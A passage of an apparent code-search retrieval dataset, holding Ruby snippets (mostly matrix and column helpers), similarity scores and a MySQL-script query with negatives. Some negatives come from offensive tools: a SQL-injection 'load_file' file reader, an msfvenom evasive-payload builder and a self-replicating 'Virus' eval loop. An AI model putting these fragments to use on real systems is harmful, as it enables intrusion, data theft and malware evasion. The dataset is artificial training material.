{ |group_corners|\n group_corners[1].size > 0\n }.map { |g_c|\n\n # if group has (two) corner points,\n # when the group surround.\n if g_c[1].size > 1\n new_groups = nil\n throw :pattern\n end\n\n g_c[0]\n }.to_a\n old_groups = old_groups - ogs\n\n # new_group\n new_group = if ngs.empty? and ogs.empty?\n Group.new [point]\n else\n n_g = (ngs + ogs)\n .inject { |g_s, g| g_s.merge g }\n .add(point)\n\n # if group has (two) side points,\n # when the group surround.\n if n_g.side_points(col, row).size > 1\n new_groups = nil\n throw :pattern\n end\n\n n_g\n end\n new_groups << new_group\n }\n end # end of catch(:pattern)\n\n if new_groups\n [rows + [pattern], new_groups]\n else\n nil\n end\n }.compact\n }\n }\n matrixes\nend",
"def populate_matrix_with_row_headers\n create_empty_array\n collect_row_headers\n replace_row_helpers\nend",
"def assign(matrix, rows, cols)\n\t\t\tunless (_ = @assign_cache[cols]).nil?\n\t\t\t\treturn _\n\t\t\tend\n\n\t\t\treturn [] if rows.empty?\n\n\t\t\ti = rows.first\n\t\t\trow = matrix[i]\n\t\t\tcols.each do |j|\n\t\t\t\tnext unless row[j].zero?\n\n\t\t\t\tc = assign(matrix, rows[1..-1], cols - [j])\n\t\t\t\treturn @assign_cache[cols] = c.unshift([i, j]) if c\n\t\t\tend\n\n\t\t\treturn @assign_cache[cols] = false\n\t\tend",
"def columns; end",
"def transpose(matrix)\n if matrix.empty? || matrix.first.empty?\n raise ArgumentError\n end\n result = Array.new(matrix.first.length) { Array.new(matrix.length, 0) }\n matrix.each_with_index do |row, x|\n row.each_with_index do |val, y|\n result[y][x] = val\n end\n end\n result\nend",
"def initialize_matrix(rows, columns)\n # create the matrix using the rows and columns\n matrix = Array.new(rows){Array.new(columns)}\n\n # initialize the matrix\n rows.times do |row|\n columns.times do |column|\n matrix[row][column] = 1\n end\n end\n\n return matrix\nend",
"def initialize_matrix(rows, columns)\n # create the matrix using the rows and columns\n matrix = Array.new(rows){Array.new(columns)}\n\n # initialize the matrix\n rows.times do |row|\n columns.times do |column|\n matrix[row][column] = 1\n end\n end\n return matrix\nend",
"def cols\n count == 0 ? Array.new(@order) :\n first.inject([]) { |arr, item| \n arr << map { |row| row[arr.count] }; arr }\n end",
"def make_matrixarray\n\t\tmatrix = []\n\t\[email protected] do |this_speaker|\n\t\t\tmatrix << row(this_speaker)\n\t\tend\n\t\t#return matrix array\n\t\treturn matrix\n\tend",
"def get_col(col)\n\tcol_array = []\n\t$boggle_board.length.times do |row|\n\t\tcol_array << $boggle_board[row][col]\n\t\trow+=1\n\tend\n\tcol_array\nend",
"def matrix_of(parse_result)\n\t\tif parse_result.nil? || parse_result.empty?\n\t\t\treturn Matrix.I(3)\n\t\tend\n\t\t\n#\t\tp parse_result # debug\n\t\t\n\t\tmatrix = (parse_result.map { |key_values|\n\t\t\t@_matrix_factory.create(key_values)\n\t\t}).reduce(:*)\n\t\t\n#\t\tp matrix # debug\n\t\t\n\t\tmatrix\n\tend",
"def cell_columns\n cells = []\n # for each column\n 1.upto(3).each do |column|\n grid = []\n\n # for each row\n 1.upto(3).each do |row|\n grid << get_cell_value(row, column)\n end\n\n cells << grid\n end\n\n cells\n end",
"def matrix_find(row, column)\n self[row*9 + column]\n end",
"def new_matrix(row_dimension, column_dimension)\n Array.new(row_dimension) do\n Array.new(column_dimension) do\n @cell = [' ', 'X'].sample\n end\n end\nend",
"def transpose(matrix)\n new_matrix = []\n\n column = 0\n while column < matrix.size\n new_row = []\n\n row = 0\n while row < matrix.size\n new_row << matrix[row][column]\n row += 1\n end\n\n new_matrix << new_row\n column += 1\n end\n\n new_matrix\nend",
"def get_col_cells col\n\t\treturn (col...9 ** 2).step(9).to_a\n\tend",
"def get_col(board, col)\n \n col_array = []\n board.each do |row|\n col_array << row[col]\n end\n col_array\nend",
"def transpose!(matrix)\n (0..2).each do |i1|\n (i1..2).each do |i2|\n matrix[i1][i2], matrix[i2][i1] = matrix[i2][i1], matrix[i1][i2]\n end\n end\n matrix\nend",
"def transpose(matrix)\n row = matrix.length\n col = matrix[0].length\n res = Array.new(col) { Array.new(row)}\n (0...col).each do |i|\n (0...row).each do |j|\n res[i][j] = matrix[j][i]\n end\n end\n return res\nend",
"def matrixZero m\n rows = []\n cols = []\n\n (0..m.length-1).each { |row|\n (0..m[0].length-1).each { |col|\n if m[row][col] == 0 \n rows.push(row) unless rows.include?(m[row][col])\n cols.push(col) unless cols.include?(m[row][col])\n end\n }\n }\n\n (0..m.length-1).each { |row| \n (0..m[0].length-1).each { |col| \n if rows.include?(row) or cols.include?(col) \n m[row][col] = 0\n end\n }\n }\n m\nend",
"def transpose(matrix)\n matrix[0][0], matrix[1][0], matrix[2][0], matrix[0][1], matrix[1][1], \n matrix[2][1], matrix[0][2], matrix[1][2], matrix[2][2] = \n matrix[0][0], matrix[0][1], matrix[0][2], matrix[1][0], \n matrix[1][1], matrix[1][2], matrix[2][0], matrix[2][1], matrix[2][2] \nend",
"def print_matrix(m)\n (0...m.length).each do |i|\n step = 0\n (0..i).each do |_j|\n print \"#{m[i - step][step]} \"\n step += 1\n end\n puts ''\n end\nend",
"def get_col(board, col)\n column = []\n board.each_with_index { |obj,i| column.push(board[i][col])}\n return column\nend",
"def transpose(matrix)\n first_array = [matrix[0][0], matrix[1][0], matrix[2][0]]\n second_array = [matrix[0][1], matrix[1][1], matrix[2][1]]\n third_array = [matrix[0][2], matrix[1][2], matrix[2][2]]\n final_array = [first_array, second_array, third_array]\nend",
"def matrix_check_sum(matrix)\n\n row_array = []\n column_array = []\n\n matrix.each do |row|\n row_sum = 0\n row.each do |element|\n row_sum += element\n end\n row_array << row_sum\n end\n\n column_length = matrix[0].length\n j = 0\n until j == column_length\n column_sum = 0\n matrix.each do |row|\n column_sum += row[j]\n end\n j += 1\n column_array << column_sum\n end\n\n if row_array == column_array\n return true\n else\n return false\n end\n\nend",
"def get_col(board, col)\n column = []\n board.each { |row| column.push(row[col])}\n return column\nend",
"def squarocol?(square)\n #if row.all? { |val| val == row[0]} TRUE\n #OR if array.transpose ^^\n \n square.each do |row|\n return true if row.uniq.count == 1\n end\n square.transpose.each do |col|\n return true if col.uniq.count == 1\n end\n\n false\nend",
"def get_column_from_board_with_col_number(board, col_number)\n board.transpose[column_number-1]\n # column = []\n board.map { |row| row[col_number - 1] }\n # column\nend",
"def matrix(input)\n # shortcut for making matrix\n #array = Array.new(input[0].length) {Array.new}\n new_array= []\n \n #creating structure\n #get number of columns to create number of rows\n input[0].length.times do\n new_array.push([]) \n end\n puts \"new_array #{new_array}\"\n\n i = 0 \n # i represents col for input\n # i represents row for new_array\n # [row][col]\n # input[j][i]\n # new_array[i][j]\n while i < input[0].length\n j = 0 \n # j represents row for input\n # j represents col for new_array\n # [row][col]\n # input[j][i]\n # new_array[i][j]\n while j < input.length\n \n value = input[j][i]\n #puts \"value #{input[j][i]}\"\n new_array[i].push(value) #i represents column, adding values into columns\n j += 1\n end\n # puts \"new_array #{new_array}\"\n i += 1\n end\n return new_array\nend",
"def get_col(board, col)\n column = []\n board.each do |x|\n column.push(x[col])\n\tend\n return column\nend",
"def collection_cards_by_row_and_col(rows:, cols:)\n table = CollectionCard.arel_table\n all_collection_cards.where(\n table[:row].gteq(rows[0])\n .and(\n table[:row].lteq(rows[1]),\n )\n .and(\n table[:col].gteq(cols[0]),\n )\n .and(\n table[:col].lteq(cols[1]),\n ),\n ).ordered_row_col\n end",
"def print_out_column_v1(board, number)\n\n\t\tcolumn_array = []\n\n\t\tnum_of_rows = board.length - 1\n\t\tcolumn_num_choosen = number - 1\n\n\t\tfor num in (0..num_of_rows)\n\t\t\trow_array = board[num]\n\t\t\tcolumn_array << row_array[column_num_choosen]\n\t\tend\n\t\tprint column_array\n\t\treturn column_array\n\tend",
"def my_transpose\n new_array = []\n\n (0...self.length).each do |row|\n new_row = []\n\n (0...self.length).each do |col|\n new_row << self[col][row]\n \n end\n new_array << new_row\n end\n new_array\n end",
"def squarocol?(arr)\n rows?(arr) || cols(arr)\nend",
"def to_immut_matrix()\n return Matrix.rows self\n end",
"def row2matrix(r)\n a = self.send(:row, r).to_a\n if r.is_a?(Range) and r.entries.size > 1\n return Matrix[*a]\n else\n return Matrix[a]\n end\n end",
"def add_one_vector(*matrices)\n matrices.map { |m|\n \tnum_rows = m.row_size\n \tnum_cols = m.column_size \t\n \tcolumns = [ Array.new(num_rows) { 1.0 } ]\n \tcolumns.push *(m.column_vectors.map { |v| v.to_a })\n \tMatrix.columns(columns)\n }\n end"
] | [
"0.65260106",
"0.63653755",
"0.63053805",
"0.6255817",
"0.6248656",
"0.6241616",
"0.6232743",
"0.6181638",
"0.6173346",
"0.61722976",
"0.6169507",
"0.6158061",
"0.61462843",
"0.6134155",
"0.6114014",
"0.61026573",
"0.6084009",
"0.6051057",
"0.60505414",
"0.60351807",
"0.6020104",
"0.60054415",
"0.5984282",
"0.5955335",
"0.5947577",
"0.59366333",
"0.59243006",
"0.59031206",
"0.59026873",
"0.58862126",
"0.5880612",
"0.58644694",
"0.5860524",
"0.5855742",
"0.5823284",
"0.5822884",
"0.58190805",
"0.57979053",
"0.5792092",
"0.5789933",
"0.5782087",
"0.5769561",
"0.5763334",
"0.5753604",
"0.57514334",
"0.57382923",
"0.57355183",
"0.5726383",
"0.57244945",
"0.572323",
"0.57180923",
"0.57047105",
"0.5684826",
"0.5684517",
"0.5684004",
"0.56753117",
"0.5669442",
"0.56652737",
"0.5664311",
"0.5663585",
"0.56601137",
"0.5657417",
"0.5655421",
"0.5652828",
"0.5651856",
"0.56477594",
"0.56414646",
"0.56352884",
"0.5632938",
"0.56323373",
"0.5630468",
"0.5624069",
"0.56207055",
"0.56130815",
"0.56037503",
"0.5602094",
"0.56013703",
"0.5601038",
"0.5600973",
"0.55974376",
"0.559732",
"0.55895424",
"0.55788493",
"0.5567328",
"0.5562042",
"0.555769",
"0.5545868",
"0.5540592",
"0.5539817",
"0.5530356",
"0.5518639",
"0.5514297",
"0.5513528",
"0.55052656",
"0.5504405",
"0.5502305",
"0.54689986",
"0.5462648",
"0.5456563",
"0.5452754",
"0.54425675"
] | 0.0 | -1 |
USAGE : the require statement in console : enter > require "./lib/mysqldataprocessingverifierfiber.rb" enter > doing_verified_unique ^^^^^^^^^^^^^^^^^^ that command runs that named fiber shown below file_name allows you to name the file that conatains your data to be processed, using any method below that calls for it | def file_name
file_name = ("./tmp/database_doings/doing_uniques/uniques_done.txt")
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def run( file_name )\n application = select_app( file_name )\n system( \"#{application} #{file_name}\" )\n end",
"def run(file_name)\n application = select_app(file_name)\n system \"#{application} #{file_name}\"\n end",
"def run file_name\n application = select_app file_name\n system \"#{application} #{file_name}\"\n end",
"def run file_name\n application = select_app file_name\n system \"#{application} #{file_name}\"\n end",
"def run_file(filename, preloading = false)\n begin\n result = RSpec::Core::CommandLine.new([\"-f\", \"p\", filename]).run(io, io)\n rescue LoadError => e\n io << \"\\nCould not load file #{filename}: #{e.message}\\n\\n\"\n result = 1\n rescue Exception => e\n io << \"Exception when running #{filename}: #{e.message}\"\n io << e.backtrace[0..7].join(\"\\n\")\n result = 1\n end\n\n if preloading\n puts io.string\n else\n channel.write(\"command\" => \"result\", \"filename\" => filename, \"return_code\" => result.to_i, \"text\" => io.string, \"worker_number\" => worker_number)\n end\n end",
"def run file_name\n\t\tapplication = select_app file_name\n\t\tsystem \"#{application} #{file_name}\"\n\tend",
"def run_file(filename, preloading = false)\n @cuke_runtime ||= ::Cucumber::ResetableRuntime.new # This runtime gets reused, this is important as it's the part that loads the steps...\n begin\n result = 1\n cuke_config = ::Cucumber::Cli::Configuration.new(io, io)\n cuke_config.parse!([\"--no-color\", \"--require\", \"features\", filename])\n @cuke_runtime.configure(cuke_config)\n @cuke_runtime.run!\n result = 0 unless @cuke_runtime.results.failure?\n rescue LoadError => e\n io << \"\\nCould not load file #{filename}: #{e.message}\\n\\n\"\n rescue Exception => e\n io << \"Exception when running #{filename}: #{e.message}\"\n io << e.backtrace[0..7].join(\"\\n\")\n end\n\n if preloading\n puts(io.string)\n else\n channel.write(\"command\" => \"result\", \"filename\" => filename, \"return_code\" => result.to_i, \"text\" => io.string, \"worker_number\" => worker_number)\n end\n end",
"def run file_name \n\t\tapplication = select_app file_name \n\t\tsystem \"#{application} #{file_name}\" \n\tend",
"def run file_name \n application = select_app file_name \n system \"#{application} #{file_name}\" \n end",
"def __run(requester_file, arguments)\n exit(\"Missing schema file argument\", true) unless arguments.size == 1\n unless File.exists?(schema_file = arguments.shift)\n exit(\"Unable to find #{schema_file}\") \n end\n Rubyrel::parse_ddl_file(schema_file)\n end",
"def run(filename, options) end",
"def show_usage_and_exit\r\n puts 'Usage:', 'verifier.rb *filename* file should be a blockchain.txt file'\r\n exit 1\r\nend",
"def run(config_file)\n load_options_from_file(config_file)\n check_options\n output = %x[ #{@binary} #{config_file} ]\n output\n end",
"def eval_file; end",
"def run(name); end",
"def process(name); end",
"def process(name); end",
"def exec_file(file)\n exec \"#{file}\"\n end",
"def foo(file_name)\n puts \"Successfully loaded #{file_name}.\"\nend",
"def create_main_spec_dot_rb(name)\n\tsystem(\"touch #{name}_spec.rb\")\n\tfile = File.open(\"#{name}_spec.rb\", 'w')\n\tfile.puts(\"require_relative '../lib/#{name}'\")\n\tfile.puts('')\n\tfile.puts('')\n\tfile.puts(\"describe 'the /name/ method' do\")\n\tfile.puts(\"\tit 'should /action/' do\")\n\tfile.puts(\"\t\texpect(/name/(/argument/)).to eq(/result/)\")\n\tfile.puts(\"\tend\")\n\tfile.puts(\"end\")\n\tfile.close\nend",
"def try_load_students\n filename = ARGV.first #first argument of command line\n return if filename.nil?\n if File.exists?(filename)# if file exists then execute load_students method\n load_students(filename)\n puts \"Information has been loaded from #{filename}\"\n else # If file doesn't exist\n puts \"Try again, #{filename} doesn't exist\"\n exit # quit the program\n end\nend",
"def perform(filepath)\n\n end",
"def dataflow\n arg = args.first\n basename = File.basename(arg.to_s, '.rb')\n\n case\n when settings[:run] then settings[:run]\n when arg && File.exist?(arg) then basename\n else arg\n end\n end",
"def read_file(file)\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, \"load_file(#{file.strip.chomp.mysqlhex})\")\n if not results.nil? and not results == ''\n # Log Success for offline review\n logs = RESULTS + $config['INJECTOR']['MYSQL']['URL'].sub('http://', '').sub('https://', '').sub(/\\/$/, '').split(\"/\")[0]\n logdir = logs + '/load_file/'\n # Try to ensure filenames dont end up jacked up, no guarantees :p\n logfile = logdir + file.gsub('/', '_').gsub('\\\\', '_').gsub(/[;:'\",.~`!@#$\\%^&*\\(\\)=\\[\\]]/, '_')\n Dir.mkdir(logs) unless File.exists?(logs) and File.directory?(logs)\n Dir.mkdir(logdir) unless File.exists?(logdir) and File.directory?(logdir)\n f=File.open(logfile, 'w+')\n f.puts results\n f.close\n print_good(\"File: #{file}\")\n print_status(\"#########################################################\")\n print_line(\"#{results.chomp}\")\n print_status(\"#########################################################\\n\")\n return true\n else\n print_error(\"No results for: #{file}\")\n return false\n end\n end",
"def load_gemsFiles(file_name)\n return if !FileTest.exists?(file_name)\n file = nil\n j =0\n i=0\n begin\n file = File.open(file_name)\n file.each_line { |line| \n i=0\n for k in 0...15\n if( line[k] != \" \" )\n createGemOnBoardWithCode(line[k], i, j)\n i += 1\n end\n end\n j += 1\n } \n rescue IOError\n puts $!.message\n puts $!.backtrace\n ensure\n file.close\n end\n end",
"def execute_file( filename )\n text = File.read(filename)\n execute(text)\n end",
"def usage\n\tputs \"ruby unicorn2vba.rb unicornOutputFileHere\" \nend",
"def get_file()\n puts(\"Please enter a file path: \")\n for arg in ARGV\n \tname = arg\n end\n print meta_data(name)\n name\nend",
"def generate name, file\n require 'erb'\n template = File.read(File.join(File.dirname(__FILE__), \"class_template.erb\"))\n erb = ERB.new(template)\n code = erb.result(binding)\n Dir.mkdir(@basedir) unless File.directory?(@basedir)\n file = File.join(@basedir, name + \".rb\")\n File.open(file, \"w+\") do |f|\n f.puts code\n end\n end",
"def base_file\n path.join(\"#{daemon_name}.rb\")\n end",
"def run_sketch\n ensure_exists(filename)\n spin_up('run.rb', filename, argc)\n end",
"def run_sketch\n ensure_exists(filename)\n spin_up('run.rb', filename, argc)\n end",
"def processFlowcell(fcName)\n puts \"Starting analysis for flowcell : \" + fcName.to_s\n currDir = Dir.pwd\n Dir::chdir(\"/stornext/snfs5/next-gen/Illumina/ipipe/lib\")\n cmd = \"ruby QseqGenerator.rb \" + fcName.to_s\n puts \"Running command : \" + cmd.to_s\n#=begin\n output = `#{cmd}`\n puts output\n#=end\n Dir::chdir(currDir)\n end",
"def processFlowcell(fcName)\n puts \"Starting analysis for flowcell : \" + fcName.to_s\n currDir = Dir.pwd\n Dir::chdir(\"/stornext/snfs5/next-gen/Illumina/ipipe/lib\")\n cmd = \"ruby QseqGenerator.rb \" + fcName.to_s\n puts \"Running command : \" + cmd.to_s\n#=begin\n output = `#{cmd}`\n puts output\n#=end\n Dir::chdir(currDir)\n end",
"def exec_local(filename1, filename2 = nil)\n @command = [ @program, filename1, (filename2 or @database), *@option ]\n @output = nil\n @log = nil\n @report = nil\n Open3.popen3(*@command) do |din, dout, derr|\n din.close\n derr.sync = true\n t = Thread.start { @log = derr.read }\n begin\n @output = dout.read\n @report = Bio::Sim4::Report.new(@output)\n ensure\n t.join\n end\n end\n @report\n end",
"def test() \n @runner.prepareForFile(@filename)\n testIfAvailable(codeFilename())\n end",
"def create_main_dot_rb(name)\n\tsystem(\"touch #{name}.rb\")\n\tfile = File.open(\"#{name}.rb\", 'w')\n\tfile.puts(\"require 'pry'\")\n\tfile.puts(\"require 'dotenv'\")\n\tfile.puts('')\n\tfile.puts(\"Dotenv.load('.env')\")\n\tfile.close\nend",
"def require( library_name )\n\tbegin\n\t\tMockFS.mock = false\n\t\tsuper\n\t\tMockFS.mock = true\n\trescue LoadError => err\n\t\tMockFS.mock = true\n\t\tfile = library_name\n\t\tfile += '.rb' unless library_name =~ /\\.rb$/\n\t\tif File.exist? file\n\t\t\tcontents = File.open( file ) do |f| f.gets( nil ); end\n\t\t\teval contents\n\t\telse\n\t\t\traise\n\t\tend\n\tend\nend",
"def run(requester_file, argv)\n unsecure_run(requester_file, argv)\n rescue Exception => ex\n environment.on_error(self, ex)\n environment\n end",
"def try_load_students\n filename = ARGV.first\n return if filename.nil? # get out method and run as without this method\n if File.exist?(filename)\n load_students(filename)\n puts \"Loaded #{@students.count} from #{filename}\"\n else\n puts \"Sorry #{filename} doesn't exist\"\n exit\n end\nend",
"def r(filename)\n require \"./#{filename}\"\nend",
"def require_data(*file); end",
"def require_data(*file); end",
"def wrong; require 'unknown_file'; end",
"def execute_script(file_name, conn, keys, argv)\n conn.evalsha(\n script_sha(conn, file_name),\n keys,\n argv,\n )\n end",
"def fexecm(fname,sname)\n executed = false\n if fexists fname, sname\n if eval \"$#{fname}['#{sname},facets'].include? 'ref'\"\n fname2 = eval \"$#{fname}['#{sname},ref']\"\n if eval \"$#{fname}['#{sname},facets'].include? 'ifref'\"\n eval \"eval $#{fname}['#{sname},ifref'\"\n end\n executed = fexecm(fname2,sname)\n else\n if eval \"$#{fname}['#{sname},facets'].include? 'method'\"\n if eval \"$#{fname}['#{sname},facets'].include? 'ifexecm'\"\n eval \"eval $#{fname}['#{sname},ifexecm']\"\n end\n eval \"eval $#{fname}['#{sname},method']\"\n executed = true\n end\n end\n end\n return executed\nend",
"def script(name)\n @loaded_recipes ||= []\n require name\n @loaded_recipes << name\n end",
"def test_print_usage\n fr = FileReader.new\n assert_output(\"Usage: ruby verifier.rb <name_of_file>\\n\"\\\n \"\\tname_of_file = name of file to verify\\n\") { fr.print_usage }\n end",
"def call_script(file_name, *args)\n conn, keys, argv = extract_args(*args)\n return do_call(file_name, conn, keys, argv) if conn\n\n pool = defined?(redis_pool) ? redis_pool : nil\n\n redis(pool) do |new_conn|\n result = do_call(file_name, new_conn, keys, argv)\n yield result if block_given?\n result\n end\n end",
"def run(file)\n # OPTIMIZE Detailed output for --pre commands with popen4?\n @pre.each { |cmd|\n ret = system(cmd)\n unless ret\n STDERR.puts \"Error: This preprocessing command signalled failure (#{$?}), please check --> #{cmd}\"\n return\n end\n }\n dbs = DocbookStatus::Status.new(file)\n doc_info = dbs.analyze_file\n doc_info[:remarks] = dbs.find_remarks(@remarks_filter) if @remarks\n if history_on?()\n dbs_h = DocbookStatus::History.new(file)\n dbs_h.planned_end(@end_date) if @end_date != NOVAL\n dbs_h.total_words(@total_words) if @total_words != NOVAL\n dbs_h.daily_words(@daily_words) if @daily_words != NOVAL\n dbs_h.add(DateTime.now, doc_info[:sections][0][:words])\n dbs_h.save\n doc_info[:goals] = dbs_h.goals\n doc_info[:today] = dbs_h.today\n end\n case\n when @output_format == :yaml\n YAML.dump(doc_info, STDOUT)\n when @output_format == :json\n STDOUT.puts doc_info.to_json\n else\n output_terminal(doc_info)\n end\nend",
"def record_as_run!(filename)\n Preconditions.check_state(filename.match(/^\\d\\d\\d\\d\\d\\d+\\-\\d\\d\\d\\d\\d\\d\\.sql$/),\n \"Invalid filename[#{filename}]. Must be like: 20120503-173242.sql\")\n command = \"insert into %s.%s (filename) select '%s' where not exists (select 1 from %s.%s where filename = '%s')\" % [Db.schema_name, @table_name, filename, Db.schema_name, @table_name, filename]\n @db.psql_command(command)\n end",
"def eval_file(file)\n file = File.join(__dir__, file)\n eval(File.read(file), nil, file) # rubocop:disable Security/Eval\nend",
"def load_script(file); end",
"def execute_script(filename)\n\tif File.exist?(filename) \n\t\t execute_query File.read(filename),\n\t\t\t{ :db_name => @properties[\"ml.content-db\"] }\t\t\t\n\t\t\tlogger.info \"Executed script #{filename} successfully\"\n\telse\n\t\tlogger.info \"#{filename} does not exist\"\t\n\tend\n end",
"def _check_duplicates_gb(file)\n\t\tinfo \"* check duplicates: \" + file\n\t\tsystem \"./check_duplicates_gb.pl \" + file\n\tend",
"def try_load_students\n filename = ARGV.first # first argument from the command line\n return if filename.nil? # get out of the method if it isn't given\n if File.exists?(filename) # if it exists\n load_students(filename)\n puts \"Loaded #{@students.count} from #{filename}\"\n else # if it doesn't exist\n puts \"Sorry, #{filename} doesn't exist.\"\n exit\n end\nend",
"def try_load_students\n filename = ARGV.first # first argument from the command line\n return if filename.nil? # get out of the method if it isn't given\n if File.exists?(filename) # if it exists\n load_students(filename)\n puts \"Loaded #{@students.count} from #{filename}\"\n else # if it doesn't exist\n puts \"Sorry, #{filename} doesn't exist.\"\n exit # quit the program\n end\nend",
"def load_specification(file_name); end",
"def run_prepare_ff(ruby_script, pocket_num)\n ifn = @work_dir + '_4.sdf'\n ofn = @work_dir + '_4.ff'\n\n ligands_sdf = File.join(@work_dir, @prt_id + '.ligands.sdf')\n ali = File.join(@work_dir, @prt_id + '.alignments.dat')\n pocket = File.join(@work_dir, @prt_id + '.pockets.dat')\n templates = File.join(@work_dir, @prt_id + '.templates.pdb')\n\n cmd = <<ff\nruby #{ruby_script} -l #{ifn} -i MOLID -o #{ofn} -s #{ligands_sdf} -a #{ali} -p #{pocket} -t #{templates} -n #{pocket_num}\nff\n\n puts \"\\nRunning\\t\\t#{cmd}\\n\"\n stdout_str, stderr_str, status = Open3.capture3(cmd)\n if status.success?\n puts \"write to\\t#{ofn}\\n\"\n else\n STDERR.puts \"Error running #{cmd}\\n\"\n exit 1\n end\n end",
"def name\n File.basename(__FILE__, '.rb')\n end",
"def run\n # Change the working directory to the directory of this script.\n Dir.chdir(File.dirname(__FILE__)) \n\n # if LIST_TECHNIQUES is true, just output available evasion techniques.\n if datastore['LIST_TECHNIQUES'] == true\n print_available_techniques()\n else\n payload = datastore['PAYLOAD']\n payload_options = datastore['PAYLOAD_OPTIONS']\n output_directory = datastore['OUTPUT_DIRECTORY']\n executable_name = datastore['EXECUTABLE_NAME']\n evasion_stack = datastore['EVASION_STACK']\n msfvenom_path = datastore['MSFVENOM_PATH']\n\n if payload == nil\n print_error(\"PAYLOAD must be set.\")\n return \n end\n if output_directory == nil \n print_error(\"OUTPUT_DIRECTORY must be set.\")\n return\n end\n if executable_name == nil \n print_error(\"EXECUTABLE_NAME must be set.\") \n return\n end\n if msfvenom_path == \"\"\n # Guess at path to msfvenom\n msfvenom_path = Dir.pwd[0..(Dir.pwd.index(\"pro\")+3)]+\"msf3/msfvenom\"\n print_status(\"MSFVENOM_PATH not specified. Hoping msfvenom can be found at \"+msfvenom_path+\".\")\n end\n\n binary_generated = generate_binary(msfvenom_path, payload, payload_options)\n if binary_generated\n print_status(\"Payload binary generated successfully.\")\n print_status(\"Generating evasive source from generated binary.\")\n\n generate_evasive_source(evasion_stack)\n\n executable_generated = generate_executable(output_directory+\"/\"+executable_name)\n\n if executable_generated\n print_status(\"Executable successfully generated.\")\n else\n print_error(\"Unable to generate executable.\")\n end\n else\n print_error(\"Payload generation with msfvenom failed.\")\n end\n\n print_status(\"Cleaning up temporary files.\")\n\n if File.exist?('tmp/bin'+self.uuid+'.c')\n File.delete('tmp/bin'+self.uuid+'.c')\n end\n if File.exist?('tmp/evasive'+self.uuid+'.c')\n File.delete('tmp/evasive'+self.uuid+'.c')\n end\n\n end\n end",
"def to_ruby\n%{#!#{ File.join(rbconfig('bindir'), rbconfig('ruby_install_name')) }\n#\n# This file was generated by MicroGem (µgem).\n#\n# The application '#{@bin_name}' is installed as part of a gem, and\n# this file is here to facilitate running it.\n\nrequire 'rubygems'\n\nversion = \"> 0\"\nif ARGV.first =~ /^_(.*)_$/ and Gem::Version.correct? $1 then\n version = $1\n ARGV.shift\nend\n\ngem '#{@gem_name}', version\nload '#{@bin_name}'\n}\n end",
"def try_load_students\n @filename = ARGV.first # first argument from the command line\n if @filename.nil? # get out of the method if it isn't given\n load_students\n elsif File.exists?(@filename) #if it exists\n load_students(@filename)\n puts \"Loaded #{@students.count} from #{@filename}\"\n else # if it doesn't exist\n puts \"Sorry, #{@filename} doesn't exist.\"\n exit # quit the program\n end\nend",
"def process_file(file_name)\n\tputs \"Processing File.... \"\n\n\tbegin\n\t\tif RUBY_PLATFORM.downcase.include? 'mswin'\n\t\t\tfile = File.open(file_name)\n\t\t\tunless file.eof?\n\t\t\t\tfile.each_line do |line|\n\t\t\t\t\t# do something for each line (if using windows)\n\n\t\t\t\tend\n\t\t\tend\n\t\t\tfile.close\n\t\telse\n\t\t\tIO.foreach(file_name, encoding: \"utf-8\") do |line|\n\t\t\t\t# do something for each line (if using macos or linux)\n\t\t\t\ttesting = cleanup_title(line)\n\t\t\t\tgenBigram(testing)\n\t\t\tend\n\t\tend\n\n\t\tputs \"Finished. Bigram model built.\\n\"\n\trescue\n\t\tSTDERR.puts \"Could not open file\"\n\t\texit 4\n\tend\nend",
"def franchise( name )\n require \"capistrano/fastfood/franchises/#{name}\"\n end",
"def loadFile _args\n \"loadFile _args;\" \n end",
"def spread!\n\t#Get file Name: see line #7\n\t\tname = self.genFileNames\n\t\t#Create a file with e generated name\n\t\tstart = File.new(\"#{name}.txt\", \"w+\")\n\t\t#Set the file content to an assignment to do the whole thing again\n\t\tstart.puts(\"x = Virus.new\")\n\t\tstart.puts(\"x.spread!\")\n\t\t#Read the file\n\t\trecur = File.read(\"#{name}.txt\")\n\t\t# - Execute it\n\t\t# - Doesn't close the files,\n\t\t#\tfor the enhancement of the de-enhancement of the computer's memory\n\t\teval recur\n\tend",
"def process_file(name)\r\n source = FileSource.new(name)\r\n\r\n begin\r\n process(source)\r\n ensure\r\n source.close\r\n end\r\n end",
"def file_coffee(name)\n source = \"#{name}.coffee\"\n file \"#{name}.js\" => source do\n sh \"coffee -c #{source}\"\n end\nend",
"def fl(file_name)\n file_name += '.rb' unless file_name =~ /\\.rb/\n @@recent = file_name \n load \"#{file_name}\"\nend",
"def script; end",
"def script; end",
"def process_file(file_name)\n\tputs \"Processing File.... \"\n\n\tbegin\n\t\tif RUBY_PLATFORM.downcase.include? 'mswin'\n\t\t\tfile = File.open(file_name)\n\t\t\tunless file.eof?\n\t\t\t\tfile.each_line do |line|\n\t\t\t\t\t# do something for each line (if using windows)\n\t\t\t\t\t# do not touch this! You have a Mac!\n\t\t\t\tend\n\t\t\tend\n\t\t\tfile.close\n\t\telse\n\t\t\tIO.foreach(file_name, encoding: \"utf-8\") do |line|\n\t\t\t\ttitle = cleanup_title line\n\t\t\t\t\tif title != nil\n\t\t\t\t\t\taddtoB(title)\n\t\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tsearch = \"\"\n#\t\twhile search != \"q\" # continues while user doesn't enter 1\n#\t\t\tputs(\"Enter a word [Enter 'q' to quit]:\") # prompts for user input\n#\t\t\tsearch = $stdin.gets.chomp # get input from user\n#\t\t\tif (search != \"q\") # if they typed in q, we don't want to create a title\n#\t\t\t\tprint(create_title(search)) # creates and prints title\n#\t\t\tend\n#\t\t\tputs \"\" # extra line for prettiness! ~\n#\t\tend\n\tend\n\t\tputs \"Finished. Bigram model built.\\n\"\n\trescue\n\t\tSTDERR.puts \"Could not open file\"\n\t\texit\n\tend",
"def execute_migration(name, filepath)\n @log.info \"executing migration #{filepath}\"\n\n statements = @sql_reader.load_migration(filepath)\n if statements.length == 0\n raise 'no statements found in migration #{filepath}'\n end\n run_migration(name, statements)\n end",
"def load(file)\n path = expand_path(file)\n runtime.run(path) if path\n end",
"def try_load_students\n filename = ARGV.first # first argument from the command command line\n if filename.nil?\n load_students\n puts \"Loaded #{@students.count} from students.csv\"\n else File.exists?(filename) #if it exists\n load_students(filename)\n \"Loaded #{@students.count} from #{filename}\"\n end\nend",
"def find_free_name(filename); end",
